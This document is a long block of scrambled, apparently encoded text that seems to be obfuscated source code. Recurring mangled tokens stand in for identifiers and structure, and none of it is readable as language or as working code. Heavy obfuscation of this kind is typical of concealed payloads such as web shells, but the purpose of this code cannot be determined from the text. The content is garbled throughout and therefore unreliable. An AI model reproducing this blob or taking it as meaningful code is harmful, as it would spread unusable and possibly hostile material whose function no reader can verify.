[MB[V@ZCL_%[MB[V@ZCL_FXpY^U_NV^MUHFH]MK@AMIL\FH]MK@AMIL\[MB[V@ZCL_%NWJAKGUWV^MHLp]ALKKG_ZDpLWJEWXBYHp@LCH]U@MMGCVDKC_KAC%FINWJAKGUWV^MHINC\JT\_GI@DIUJ[KG@XA\WX\_GI@DIU%]J[Z]A%R%oUVBD\JJ@K[NWJAKGUWV^MHUVBD\JJ@K[[MB[V@ZCL_%[]VT%oFALCZKJNWJAKGUWV^MH%RIFANCCVT%FVC]\Z]^LYVJ^ANWJAKGUWV^MH%R%[[B]MZENY]ZZXHUVBD\JJ@K[NK[VFBMn{gfai`pifcjanbj%hc`mnc|tFH]MK@AMIL\rNK[VFBM%hc`mnc|tFXpY^U_NV^MUHr[[B]MZENY]ZZXH%_L_YKF]UVBD\JJ@K[%UVBD\JJ@K[%%FH]MK@AMIL\%FH]MK@AMIL\%MMGCVDKC_KAC%%R%MMGCVDKC_KAC%R%R%GLHZB@ppLp]ALKKG_ZDpLWJEWXBYHp@LCH]U@UVBD\JJ@K[%FIGLHZB@ppT%  \[]JAH[G]JKZLJNLLZBZCN[@]I@]xjA[F[V]@YFKJ]%%oMMGCVDKC_KACGLHZB@pp_L_YKF]%[]VT%%oFALCZKJGLHZB@ppCWACMpEAJ^Z_AX[GACWACMpEAJ^Z_
%RIFANCCVT%FVC]\Z]^LYVJ^AGLHZB@pp%R%R%  ZA]@CCINL[@]%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%  xmZ[[@AmC@LD]JCJN\J[]FJ%%R%FIMMGCVDKC_KACMMGCVDKC_KACTJ\pIpVWUIJK\ABUJ\pIpV%IZAL[F@A@DL^]NW\[LJVXNGpV[ZV@X\\[\FKVIAVV@%T%FIFH]MK@AMIL\XNGpV[ZV@X\\[T%  oNL[FYN[J]N[JCFBF[J]%%]J[Z]AXNGpV[ZV@X\\[%%%%R%VLVLHB@AHN]]NVUVBD\JJ@K[MMGCVDKC_KACUVBD\JJ@K[FH]MK@AMIL\FH]MK@AMIL\%I@]JNLGVLVLHB@AHN\DJVT%  _]JKFL[FYJL@YN]FNA[%%FIF\\J[XNGpV[ZV@X\\[tDJVrSSFXpY^U_NV^MUHXNGpV[ZV@X\\[tDJVrT%L@A[FAZJ%R%%%%]FULYEU@G^AKWpWN]]NV%I@]JNLGXNGpV[ZV@X\\[tDJVrN\GCGI\pIT%FIUVBD\JJ@K[GCGI\pIT%  bV|~ce|`a@_J]N[@]\_@\[[V_J\J[Z_%%]FULYEU@G^AKWpWtrGCGI\pI%L@A[FAZJ%R%A_DW_N\BF\\J[GCGI\pItFXpY^U_NV^MUHrGCGI\pItUVBD\JJ@K[r%%[[B]MZENY]ZZXHF\\J[hc`mnc|tMMGCVDKC_KACrhc`mnc|tUVBD\JJ@K[r%%%FIA_DW_N\B\FKVIAVV@SS[[B]MZENY]ZZXH		A_DW_N\B[[B]MZENY]ZZXHT%%L@A[FAZJ%R%%]FULYEU@G^AKWpWtr@DL^]NW\[LJVGCGI\pI\FKVIAVV@%R%XNGpV[ZV@X\\[tDJVr]FULYEU@G^AKWpW_CZU^CJLBB@U[Z_CZU^CJ%R%]J[Z]AXNGpV[ZV@X\\[%R%R%IZAL[F@AAVKF]XDB[XX@HKZ[[%T%  IFC[J]JW_]J\\F@A%%[]VT%FIUVBD\JJ@K[FXpY^U_NV^MUH		HJ[p[]NA\FJA[MMGCVDKC_KACT%]J[Z]A%R%%%%]IHI\IGNoFH]MK@AMIL\]\MJUBY%FI]IHI\IGN		]IHI\IGN		]IHI\IGN		UBJKIEMY[LUBHX]\MJUBYT%MNMB\FJoMMGCVDKC_KAC]\MJUBY%FIMMGCVDKC_KACMNMB\FJ		UVBD\JJ@K[MNMB\FJ]IHI\IGN		YUKA]KF^LpMLUMZMNMB\FJT%FI\M^IMUZLAAY\WEFW_]\MJUBY[IB^@@IDZVNJD@AXMNMB\FJT%JECDKL[DC]\MJUBY%CNIDVG[IGpN]\MJUBY%R%R%ZA\J[MNMB\FJ%R%%%CF[WMEXXoFXpY^U_NV^MUH]\MJUBY%%%[AUp[DM\CF[WMEXX		CF[WMEXX%FI[AUp[DM\		CF[WMEXXT%[AUp[DM\INC\J%R%%%FI[AUp[DM\T%DD^@HH]oUVBD\JJ@K[]\MJUBY%FIFXpY^U_NV^MUHDD^@HH]		UVBD\JJ@K[DD^@HH]DD^@HH]EXpF\FZFGEDEJDD^@HH]%FIFH]MK@AMIL\DD^@HH]SSYUKA]KF^LpMLUMZDD^@HH]T%[AUp[DM\INC\J%RJC\JT%HL@K@JWFGX^YMGMFZYEXHXZ]UADppWFXpY^U_NV^MUH%pFLJ^K[WAFFZ]@D[^@IYXUDD^@HH]%@DKAHEYKU\]H]@D[^@IYXUMMGCVDKC_KACHL@K@JWFGX^YMHL@K@JWFGX^YM%FIpFLJ^K[WAFFZ		@DKAHEYKU\]HSSYJ]\F@ApL@B_N]J@DKAHEYKU\]HpFLJ^K[WAFFZT%I@[ZYHCGGMUVBD\JJ@K[DD^@HH]%%%%^XH_U^ZYDEoFH]MK@AMIL\FH]MK@AMIL\]\MJUBYUVBD\JJ@K[I@[ZYHCGGM%FI^XH_U^ZYDET%pL[]B_KB[_JHJ[p@_[F@AFXpY^U_NV^MUH%FIUVBD\JJ@K[pL[]B_KB[_J		FH]MK@AMIL\pL[]B_KB[_JI@[ZYHCGGMS		MMGCVDKC_KACFA[FH]MK@AMIL\pL[]B_KB[_JFH]MK@AMIL\pL[]B_KB[_JSWKWJ^XH_U^ZYDE[]ZJ%R%FI^XH_U^ZYDE[AUp[DM\INC\J%%%FI^XH_U^ZYDE		UVBD\JJ@K[HL@K@JWFGX^YM		HL@K@JWFGX^YMSS@DKAHEYKU\]HSSYJ]\F@ApL@B_N]J@DKAHEYKU\]HpFLJ^K[WAFFZEUpCCUU[VUN]KXADBYMMGCVDKC_KACDD^@HH]FH]MK@AMIL\%ZA\J[I@[ZYHCGGM^XH_U^ZYDEpL[]B_KB[_J%%%RJC\JFIFH]MK@AMIL\HL@K@JWFGX^YM		FH]MK@AMIL\HL@K@JWFGX^YM		MMGCVDKC_KACHL@K@JWFGX^YM		M]H]LVBMG^[JUHL@K@JWFGX^YM		YUKA]KF^LpMLUMZHL@K@JWFGX^YM		FH]MK@AMIL\DD^@HH]FH]MK@AMIL\HL@K@JWFGX^YMT%  _@\[K@BFAN[J\FKJJIIJL[I]JJL@A[]@CIC@XH]N_G%%[AUp[DM\INC\J%R%R%R%FI[AUp[DM\T%  fA[CJW[JA\F@A]JCNWJK_F_JCFAJ%%FIFH]MK@AMIL\FH]MK@AMIL\T%\J[p[]NA\FJA[MMGCVDKC_KACWWM%%%%R%]J[Z]A%R%FIUBJKIEMY[LUBHX]\MJUBYT%]J[Z]A%R%\WHGB]GJ\^ZFH]MK@AMIL\]\MJUBY%FIoFH]MK@AMIL\\WHGB]GJ\^ZT%  oL@C@]]JHF\[J]]JL@]KCNVJ]%%pAWDW\CVHEINNK\WHGB]GJ\^Z[]ZJ%R%WAXMXNCIDGFGMFZYEXHXZ]UADppWUVBD\JJ@K[%FIWAXMXNCIDGFSSFH]MK@AMIL\WAXMXNCIDGFT%FIHJ[p[]NA\FJA[FXpY^U_NV^MUHT%%@DWMpK]LDZ\KNVCZFH]MK@AMIL\FXpY^U_NV^MUH%%%%%%\J[p[]NA\FJA[FXpY^U_NV^MUH%R%R%FIWAXMXNCIDGF		UVBD\JJ@K[WAXMXNCIDGF		FXpY^U_NV^MUHWAXMXNCIDGF		MMGCVDKC_KACWAXMXNCIDGF		M]H]LVBMG^[JUWAXMXNCIDGF		YUKA]KF^LpMLUMZWAXMXNCIDGFT%WKVF[L[\GECD]@D[^@IYXUWAXMXNCIDGF%%FIWKVF[L[\GECD		YJ]\F@ApL@B_N]JWKVF[L[\GECDXHMDNU[UXH@NANXI[T%]J[Z]AWJNHHKK@M\JLS@FW\XABNV]WJNHHKK@M\JLq%%%%%R%YBCWHW]\G@MMGCVDKC_KAC]\MJUBYMMGCVDKC_KACUVBD\JJ@K[]\MJUBYFH]MK@AMIL\%%%BEJV\Y[CCVG@oMMGCVDKC_KACYBCWHW]\G@FXpY^U_NV^MUH\[]FAHoUVBD\JJ@K[YBCWHW]\G@%FIBEJV\Y[CCVG@		FXpY^U_NV^MUHWAXMXNCIDGFBEJV\Y[CCVG@T%%%%]J[Z]A%R%%^^[J]pC_EXZI\U\YFLJ]\MJUBY%]FAEN\M^IMUZLAAY\WEFW_]\MJUBY[IB^@@IDZVNJD@AXWAXMXNCIDGF%FI]FAENT%JECDKL[DC]\MJUBY%^^[J]pC_EXZI\U\YFLJ]\MJUBY%CNIDVG[IGpN]\MJUBY%JUWWVAWYF]BX[]ZJ%%%W[N]CHE^U[^X\F[[]ZJ%AMAAWC@IZWDWACV]\MJUBY%FIFXpY^U_NV^MUHFH]MK@AMIL\T%\J[p[]NA\FJA[MMGCVDKC_KACWNJW%R%RJC\JFIUVBD\JJ@K[FXpY^U_NV^MUHT%\J[p[]NA\FJA[MMGCVDKC_KAC%R%%%R%%%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%%%%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%%IZAL[F@AEGHIp]Ep_]@Z%T%  gN[[]FMZ[J\FBNHJKFBJA\F@A\%%DKJ]pHXJKHUVBD\JJ@K[UVBD\JJ@K[%DKJ]pHXJKHUVBD\JJ@K[MMGCVDKC_KAC%FIFH]MK@AMIL\UVBD\JJ@K[T%]JB@YJpNL[F@AMMGCVDKC_KACUVBD\JJ@K[%]JB@YJpNL[F@AFXpY^U_NV^MUHFXpY^U_NV^MUH%]JB@YJpNL[F@AMMGCVDKC_KACFH]MK@AMIL\%%%%R%  xmC@LDyN]FN[F@A\@_[F@A]@X%%R%IZAL[F@ApBDWEHZ^GG%T%[]VT%  A@]BNCFUJ%%%X_KMhc`mnc|tFXpY^U_NV^MUHr%%%%%WK]EVMJDBX_KM_]JIFWFH]MK@AMIL\%MEWNIpF]NNI|UVBD\JJ@K[X_KMZ\J]\UVBD\JJ@K[X_KMZ\J]BJ[NMMGCVDKC_KAC%]J[Z]AX_KMHJ[p]J\ZC[\X_KM_]J_N]JMEWNIpF]NNIWK]EVMJDBFH]MK@AMIL\%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%]J[Z]AN]]NVLpXV_^LSLY\^IZ\EW[LpXV_^Lq%%%%R%IZAL[F@AApM[KCZWZD@WUJY@VKpMF@L%T%BJMXXENJ\^AN]]NV%ACULWAJAWIZAL[F@AZDY@@DI_Y]_T%  _ZMCF\G\AN_\G@[F\@CN[JKX]F[JNGJNKC@H%%ZDY@@DI_Y]_tFH]MK@AMIL\r%]J[Z]AZDY@@DI_Y]_%R%  \[]JNBFAH_ZMCF\GJ]%%%%%[]VT%FIFH]MK@AMIL\MMGCVDKC_KACSSFH]MK@AMIL\MMGCVDKC_KACT%  gBN[LGJW_]J\\F@AM@@[\[]N_LN_NMFCF[V%%]J[Z]ABJMXXENJ\^A%R%%%%FIMMGCVDKC_KAC@VKpMF@LSSJB_[V@VKpMF@LT%]J[Z]ABJMXXENJ\^A%%%R%DZ]ppCGUVBD\JJ@K[q%%%%F\p\\CFXpY^U_NV^MUHMMGCVDKC_KAC		F\p\\C%DGGADLX_HZCLF\p\\CMMGCVDKC_KACFH]MK@AMIL\%]@V]YFDBGDF\p\\CKJIFAJKUVBD\JJ@K[|jlz}jpnz{gpl``dfjKJIFAJKFXpY^U_NV^MUHnz{gpl``dfj%BBEAK[Z[VBHKWIKJIFAJKFXpY^U_NV^MUHc`hhjkpfapl``dfj%%%%FI]@V]YFDBGDSSBBEAK[Z[VBHKWIT%]J[Z]ABJMXXENJ\^A%R%FMNMDY]MU]^KJIFAJKFH]MK@AMIL\		l``dfjpk`bnfaUVBD\JJ@K[l``dfjpk`bnfaXHUL_\YVJD@^MI%]U@HWNGMN_DKJIFAJKFH]MK@AMIL\l``dfjn{g %ZIFFX^]XKJIFAJKFH]MK@AMIL\nkbfapl``dfjpn{gMMGCVDKC_KAC%KJUIB_WZUpF\p\\CMMGCVDKC_KACMMGCVDKC_KAC%F\H]^MMW_s[%DKJ]pHXJKHFH]MK@AMIL\ACULWAJAW%CZNYJXADJYJ_HVXp\NW@ZZ@FXpY^U_NV^MUH%[NNNNBHXLD]MMGCVDKC_KACFH]MK@AMIL\oHJ[p@_[F@ACZNYJXADN]]NVN]]NV%FIFH]MK@AMIL\[NNNNBHXLD][NNNNBHXLD]N]]NV%\ZXUJ^N^CZ_INC\J%W[BNCMG%%I@]JNLG@VKpMF@LN\WI_EIYY\BDJET%%%%FIUVBD\JJ@K[WI_EIYY\BDJESSWI_EIYY\BDJEfkSSWI_EIYY\BDJEZ\J]pC@HFAT%L@A[FAZJ%%%R%FIW[BNCMGT%M]JND%R%EYIYXULAVEK\[]FAHWI_EIYY\BDJEZ\J]pC@HFAAF_HWSNEUWA]XXWFpVAF_HWq%%%FIF\\J[[NNNNBHXLD]tEYIYXULAVEKr		FA[[NNNNBHXLD]tEYIYXULAVEKrUVBD\JJ@K[T%L@A[FAZJ%R%X_pLNLGJpKJCJ[JWI_EIYY\BDJEfkMMGCVDKC_KAC%%^_HNLpHJ[pZ\J]pBJ[NWI_EIYY\BDJEfkMMGCVDKC_KAC[]ZJ%%%FIUVBD\JJ@K[^_HNLp		FH]MK@AMIL\^_HNLpT%BN[X\WJBN]]NV%I@]JNLG^_HNLpN\L]GWAB[[I[KEUFBJVHET%%%%FIF\\J[[KEUFBJVHEtUVBD\JJ@K[r		[KEUFBJVHEtFH]MK@AMIL\rFXpY^U_NV^MUHT%BN[X\WJBtL]GWAB[[Ir[KEUFBJVHE%R%R%FIUVBD\JJ@K[BN[X\WJBUVBD\JJ@K[^_HNLpT%Z_KN[JpZ\J]pBJ[NWI_EIYY\BDJEfkFXpY^U_NV^MUHBN[X\WJB%R%R%%%%X_pLNLGJpKJCJ[JWI_EIYY\BDJEfkFXpY^U_NV^MUH%FJYVHGDY@BUVBD\JJ@K[N]]NVFH]MK@AMIL\UVBD\JJ@K[WI_EIYY\BDJEfk%pA]H[N^_M@CFJYVHGDY@BL]JN[JDZ]ppCG%XMLI\JIXU[N]]NV%XMLI\JIXU[trFMNMDY]MU]^F\H]^MMW_FH]MK@AMIL\F\H]^MMW_]U@HWNGMN_DF\H]^MMW_KJUIB_WZUpF\H]^MMW_DZ]ppCGF\H]^MMW_BBEAK[Z[VBHKWIF\H]^MMW_FH]MK@AMIL\WI_EIYY\BDJEfkDZ]ppCGMMGCVDKC_KACpA]H[N^_M@C%FI]@V]YFDBGDT%XMLI\JIXU[trFMNMDY]MU]^F\H]^MMW_FH]MK@AMIL\F\H]^MMW_ZIFFX^]XF\H]^MMW_KJUIB_WZUpF\H]^MMW_DZ]ppCGF\H]^MMW_]@V]YFDBGDF\H]^MMW_FXpY^U_NV^MUHWI_EIYY\BDJEfkDZ]ppCGDGGADLX_HZCLpA]H[N^_M@C%R%%%BJMXXENJ\^AtWI_EIYY\BDJEZ\J]pC@HFArXMLI\JIXU[%[NNNNBHXLD]tEYIYXULAVEKrDZ]ppCG[_UIEpM^pJ[_UIEpM%\ZXUJ^N^CZ_[]ZJ%W[BNCMG%R%  GJ]BF[FNAGV_J]C@HC@H%%%FI\ZXUJ^N^CZ_		MMGCVDKC_KACMMGCVDKC_KACT%oZ_KN[Jp@_[F@ACZNYJXAD[NNNNBHXLD]MMGCVDKC_KAC%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%%%RLN[LGjWLJ_[F@AC[A_M[pT%R%]JB@YJpIFC[J]FH]MK@AMIL\ACULWAJAW%]J[Z]ABJMXXENJ\^A%%%%R%IZAL[F@AApVULZNK^KLIAKYDpWV]HXC%%T%FIFH]MK@AMIL\YDpWV]HXC]J[Z]AYDpWV]HXC%FIMMGCVDKC_KACYDpWV]HXC		F\\J[YDpWV]HXCt_r		FH]MK@AMIL\YDpWV]HXCt_r]J[Z]AYDpWV]HXCt_r%]J[Z]A%R%IZAL[F@AEDXZJBpIp^p]UMEN@VKpMF@L%T%%CF\[N]]NV%Y^p@[V[_^\[]FAHGMFZYEXHXZ]UADppWMMGCVDKC_KAC%]KNCL@I\[]FAHGMFZYEXHXZ]UADppWFH]MK@AMIL\%FIY^p@[V[_^		]KNCL@IT%CF\[tY^p@[V[_^r]KNCL@I%%%%%%R%WVFKIX@ZGMFZYEXHXZ]UADppWFH]MK@AMIL\N]]NV%%FIFH]MK@AMIL\WVFKIX@ZT%%%%I@]JNLGWVFKIX@ZN\[N_YADBVHNHX]K^]VT%ICMINUBAF]@ApVULZNK^KLIAKNHX]K^]V%FIICMINUBAF]@CF\[t\[]FAH[N_YADBVHrICMINUBAF]@%R%R%]J[Z]ACF\[%%R%IZAL[F@A^^I^Z\]_G\LCDVVHB[N_YADBVHND^DDEEEMFI^YNHU[Y_K%T%[]VT%FIUVBD\JJ@K[[N_YADBVHSSMMGCVDKC_KAC[N_YADBVHMMGCVDKC_KACT%]J[Z]A[N_YADBVH%R%FI[N_YADBVHGN\pLN_UVBD\JJ@K[T%]J[Z]A[N_YADBVH%R%FIMMGCVDKC_KACMFI^YNHU[Y_KSSMFI^YNHU[Y_KT%  bV|~cl{j\BJN\Z]JNCC@LN[@]%%]J[Z]A[N_YADBVH%R%WVFKIX@ZGMFZYEXHXZ]UADppWFXpY^U_NV^MUHN]]NV%FIUVBD\JJ@K[WVFKIX@ZT%WVFKIX@ZN]]NV%%%R%I@]JNLGWVFKIX@ZN\VLDpN]p^XNU]BGAW]NT%%%_VZUpIM[MWXMMGCVDKC_KACBGAW]N		F\\J[BGAW]NtFH]MK@AMIL\rFA[BGAW]NtUVBD\JJ@K[r%%FI_VZUpIM[MWX		_VZUpIM[MWXMMGCVDKC_KACZA\J[WVFKIX@ZtVLDpN]p^XNU]r%%%R%%%WVFKIX@Zt[N_YADBVHZ\J]pC@HFArN]]NV_MFI^YNHU[Y_KFXpY^U_NV^MUHMMGCVDKC_KACFH]MK@AMIL\%EUpCCUU[VUN]KXADBYUVBD\JJ@K[WVFKIX@ZFH]MK@AMIL\%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%%%RLN[LGjWLJ_[F@AC[A_M[pT%R%]J[Z]A[N_YADBVH%R%%%IZAL[F@AXNYEFWDNWUH\ZU]\VM[N_YADBVH%T%[]VT%FIFXpY^U_NV^MUHZU]\VMSSZU]\VM]J[Z]A%%%WVFKIX@ZGMFZYEXHXZ]UADppWFXpY^U_NV^MUHN]]NV%FIMMGCVDKC_KACWVFKIX@ZSSF\\J[WVFKIX@ZtZU]\VMr]J[Z]A%C[A_M[pWVFKIX@ZtZU]\VMr%FIMMGCVDKC_KACC[A_M[p		JB_[VC[A_M[ptFXpY^U_NV^MUHrTY\VBA\I@WKWLD@UWHJ]Y_Y\VBA\I@
%WVFKIX@ZtZU]\VMrtMMGCVDKC_KACrNZEI_B^EDNZWMVGIY\NZEI_B^E%EUpCCUU[VUN]KXADBYFXpY^U_NV^MUHWVFKIX@ZFXpY^U_NV^MUH%R%%RLN[LG{G]@XNMCJEMNYKYAA_^MDT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[EMNYKYAA_^MD%RLN[LGjWLJ_[F@AEMNYKYAA_^MDT%%%%R%R%IZAL[F@ADH^HpZL^UHMNH[FKUp[@VKpMF@L%TpWIZD_XI_JKXSDFVKUpWIZD_XI_JKXq%%%FIFXpY^U_NV^MUH@VKpMF@LT%  NXNF[FKJB_@[JA[NKEL@@]KFAN[@]%%]J[Z]AINC\J%%R%CIMKMMZKGMFU[KUXMN\HGWJ@B%I@]JNLG@VKpMF@LN\WI_EIYY\BDJET%I@]JNLGCIMKMMZKGMN\@DBYHHAFZDpT%FIFXpY^U_NV^MUHUVBD\JJ@K[UVBD\JJ@K[@DBYHHAFZDp FXpY^U_NV^MUHWI_EIYY\BDJEZ\J]pC@HFAT% [@[NC_]@@I[J]B %%]J[Z]AWI_EIYY\BDJE%R%R%R%]J[Z]AINC\J%R%IZAL[F@A@\J__MJJCW]ZGCU]ZEV]]NKYFCGVH_LAAKV%T%]J[Z]AFH]MK@AMIL\UVBD\JJ@K[CU]ZEV]]NKYFCGVH_LAAKV%%%%R%%%IZAL[F@AHBIIHN[XH][IFp@^FG%T%FIFXpY^U_NV^MUHIFp@^FGSSIFp@^FGSSKJIFAJKMMGCVDKC_KAC]J[Z]AINC\J%\[N[FLpUXCWVHII]AZCC%FIpUXCWVHII]AZCCT%  xN]NH]N_GmC@LD]JCJN\JKJ^ZJ%JY@FGGDF[XGgpbne`}pyj}|f`aI_LWYNMENJY@FGGDF[XG%pUXCWVHII]N]]NV%@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\FXpY^U_NV^MUH%@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHUVBD\JJ@K[%%R%I@]JNLGpUXCWVHII]N\]Z@JIUDHWTD_CC_GLZZBIWHV^pNIMD_CC_GLZZ%FIFH]MK@AMIL\IFp@^FG]Z@JIUDHWINC\J]J[Z]A[]ZJ%R%]J[Z]AINC\J%R%IZAL[F@AJWWLGH^AAWHFCGVH_LAAKV%%TCL_\UJJ^\DMYJA_NDUA^CL_\UJJ^\DM%]J[Z]A@\J__MJJCW]ZGZAF^FK\[]FAHUVBD\JJ@K[[]ZJFCGVH_LAAKV%%%%R%IZAL[F@A\MIUX_LpJ[_]MC\J^ACWDELJ%T%FIMMGCVDKC_KACFXpY^U_NV^MUH]J[Z]AINC\J%%%%DKDUELI\GHJ[p@_[F@AFXpY^U_NV^MUHN]]NVBMHGIHGYJJ_LXWABMHGIHGYJ
%FIMMGCVDKC_KACDKDUELI\G]J[Z]AINC\J%JZpI[]EMFXpY^U_NV^MUHACWDELJ%%%%FIJB_[VDKDUELI\GtJZpI[]EMr]J[Z]AINC\J%ICMINUBAF]@FH]MK@AMIL\S\[]FAHDKDUELI\GtJZpI[]EMr%_WEH]XJC[F\\J[ICMINUBAF]@trFA[ICMINUBAF]@trVLAKDZD]ZYWFVLAKDZD]%]J[Z]A_WEH]XJC[		MMGCVDKC_KAC_WEH]XJC[WJLLWMK%R%IZAL[F@AAA]@KKF^@ACWDELJM^\AE\U%T%FIFH]MK@AMIL\FH]MK@AMIL\SSFXpY^U_NV^MUHFH]MK@AMIL\]J[Z]A%DKDUELI\GHJ[p@_[F@AUVBD\JJ@K[N]]NV%FIFH]MK@AMIL\DKDUELI\GDKDUELI\GN]]NV%JZpI[]EMFH]MK@AMIL\ACWDELJ%%FIM^\AE\UT%FIF\\J[DKDUELI\GtJZpI[]EMrT%ZA\J[DKDUELI\GtJZpI[]EMr%Z_KN[Jp@_[F@AMMGCVDKC_KACDKDUELI\G%R%]J[Z]A%R%%%%BEB]J\FDMHZY%FIJB_[VDKDUELI\GtJZpI[]EMrT%ICMINUBAF]@FH]MK@AMIL\S\[]FAHDKDUELI\GtJZpI[]EMr%BEB]J\FDMHZYFA[ICMINUBAF]@tr%%R%BEB]J\FDMHZY%_WEH]XJC[BEB]J\FDMHZYFXpY^U_NV^MUH%I@]JNLGDKDUELI\GN\^JEUDCpN\JJIJMIA^EMT%IFp@^FGMMGCVDKC_KACS\[]FAH\JJIJMIA^EM%FIJB_[VIFp@^FGtr		UVBD\JJ@K[FA[IFp@^FGtrWIWZA\J[DKDUELI\Gt^JEUDCpNr%R%%%%DKDUELI\GtJZpI[]EMrBEB]J\FDMHZYS_WEH]XJC[%Z_KN[Jp@_[F@AFXpY^U_NV^MUHDKDUELI\G%R%IZAL[F@AA^_ZEZALWFACWDELJZU\ZJ@\GMFND%%%T%%%FIFH]MK@AMIL\ZU\ZJ@\GMFND]J[Z]A%%%%LEpp_F^KX_ZJLp]ALKKG_ZDpLWMMGCVDKC_KACACWDELJFH]MK@AMIL\%FILEpp_F^KX_ZJINC\JT%FIoFXpY^U_NV^MUHLEpp_F^KX_ZJZU\ZJ@\GMFNDFXpY^U_NV^MUHZU\ZJ@\GMFND		G]CYUEMXZpD_LEpp_F^KX_ZJACWDELJ]J[Z]A%%FVC]\Z]^LYVJ^ALEpp_F^KX_ZJ%%%R%oUVBD\JJ@K[ACWDELJZU\ZJ@\GMFND%R%%IZAL[F@A\M^IMUZLAAY\WEFW_ACWDELJYHF[J_G\pWG%%%%T%]_DCDZL\FH]MK@AMIL\ACWDELJ%FIoUVBD\JJ@K[]_DCDZL\T%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFXpY^U_NV^MUHUVBD\JJ@K[ACWDELJ%]J[Z]AINC\J%%%R%Z]NIZF^AMMGCVDKC_KACACWDELJWWFXpY^U_NV^MUH%FIZ]NIZF^A		YUKA]KF^LpMLUMZYHF[J_G\pWGT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[FH]MK@AMIL\ACWDELJ%]J[Z]AINC\J%R%FIZ]NIZF^A		\MIUX_LpJ[_]MC\J^ACWDELJ]J[Z]AINC\J%W@XppUAINC\J%FIoFXpY^U_NV^MUHACWDELJW@XppUA[]ZJ%ZU\ZJ@\GMFNDAZCCCEHHV@\\gpfa{pbnw gpfa{pbnwYB]ICD]IJWCEHHV@\\%WIDWHICDINC\J%JXXLZAZCC%FIoFH]MK@AMIL\ACWDELJ		oFH]MK@AMIL\ACWDELJT%WIDWHICD[]ZJ%JXXLZoIFCJ_J]B\ACWDELJ%FIJXXLZINC\JJXXLZAZCC%FIoFXpY^U_NV^MUHACWDELJWIWJJIZU\ZJ@\GMFNDoMMGCVDKC_KACACWDELJ%%%%R%FIMMGCVDKC_KACMMGCVDKC_KACT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUHUVBD\JJ@K[ACWDELJ%]J[Z]AINC\J%R%%%BKLI]\DFNLDLA\INC\J%ILLUNXMCK@INC\J%pLCUVBD\JJ@K[YHF[J_G\pWG%I@]CLBMKH]E[CLBMKH]E[CLBMKH]E[T%BKLI]\DFNLDLA\Lp]ALKKG_ZDpLW]_DCDZL\UVBD\JJ@K[%FIBKLI]\DFNLDLA\INC\JT%ILLUNXMCK@INC\J%IFp@^FGoFXpY^U_NV^MUHBKLI]\DFNLDLA\FH]MK@AMIL\%FIIFp@^FGINC\JT%A]^pKEW%XGFCJA]^pKEWpLCT%%%Hp@@A[NYUIMoUVBD\JJ@K[IFp@^FGUVBD\JJ@K[YHF[J_G\pWGA]^pKEW%FIHp@@A[NYUIMINC\JSSHp@@A[NYUIMM]JND%A]^pKEWHp@@A[NYUIM%R%oIICZ\GIFp@^FG%  o\_JLFNCFUJNHH]JHN[@]%FNXIDBSJJYJ\XKVM@FNXIDBq%FIFXpY^U_NV^MUHFH]MK@AMIL\oI\VALIFp@^FGAJXGYHLC[^MZ\YGGBAJXGYHLC[^AJXGYHLC[^AJXGYHLC[^%oILC@\JIFp@^FG%FIA]^pKEWpLCILLUNXMCK@A]^pKEW%RJC\JT%%%ILLUNXMCK@oUVBD\JJ@K[BKLI]\DFNLDLA\YHF[J_G\pWG%%R%  FACFAJLNLGJ%%FIILLUNXMCK@INC\J		ILLUNXMCK@pLCM]JND%FVC]\Z]^LYVJ^ABKLI]\DFNLDLA\%%%%BKLI]\DFNLDLA\INC\J%%%R%%%%R%FIBKLI]\DFNLDLA\INC\JT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACUVBD\JJ@K[MMGCVDKC_KACACWDELJ%]J[Z]AINC\J%R%%%%FIILLUNXMCK@INC\JSSILLUNXMCK@pLCT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFH]MK@AMIL\MMGCVDKC_KACACWDELJ%FVC]\Z]^LYVJ^ABKLI]\DFNLDLA\%]J[Z]AINC\J%R%FIJXXLZAZCCoFH]MK@AMIL\BKLI]\DFNLDLA\JXXLZ	%%%YZCDFIU[^HUYNG]CYUEMXZpD_BKLI]\DFNLDLA\ACWDELJ%FIYZCDFIU[^HUYN		WIDWHICD		W@XppUAT%FIoMMGCVDKC_KACACWDELJ^^[J]pC_EXZI\U\YFLJACWDELJ%UJKYAUFNN^LpJACWDELJFXpY^U_NV^MUHFXpY^U_NV^MUHWW%FIG]CYUEMXZpD_ACWDELJUJKYAUFNN^LpJT%YZCDFIU[^HUYNG]CYUEMXZpD_BKLI]\DFNLDLA\ACWDELJ%FIYZCDFIU[^HUYNT%%FVC]\Z]^LYVJ^AUJKYAUFNN^LpJ%%RJC\JT%  \N[F\IFNMCJMNLDC@H%%%FIG]CYUEMXZpD_UJKYAUFNN^LpJACWDELJ		I@UZXHX]FWNUJKYAUFNN^LpJACWDELJT%A^_ZEZALWFACWDELJZU\ZJ@\GMFND%R%  |}BFKKCJXN]JCFAJN]NKEM]NAKJK[V_J%%FIoFXpY^U_NV^MUHACWDELJT%A^_ZEZALWFACWDELJZU\ZJ@\GMFND%R%%%R%%%R%R%%%FIYZCDFIU[^HUYN		W@XppUA		Z]NIZF^AT%%%%FIoMMGCVDKC_KACACWDELJ^^[J]pC_EXZI\U\YFLJACWDELJ%FII@UZXHX]FWNBKLI]\DFNLDLA\ACWDELJT%YZCDFIU[^HUYN[]ZJ%FVC]\Z]^LYVJ^ABKLI]\DFNLDLA\AEpD]UGGYVH@IV@pAEpD]UAEpD]UAEpD]U%R%R%%%%FI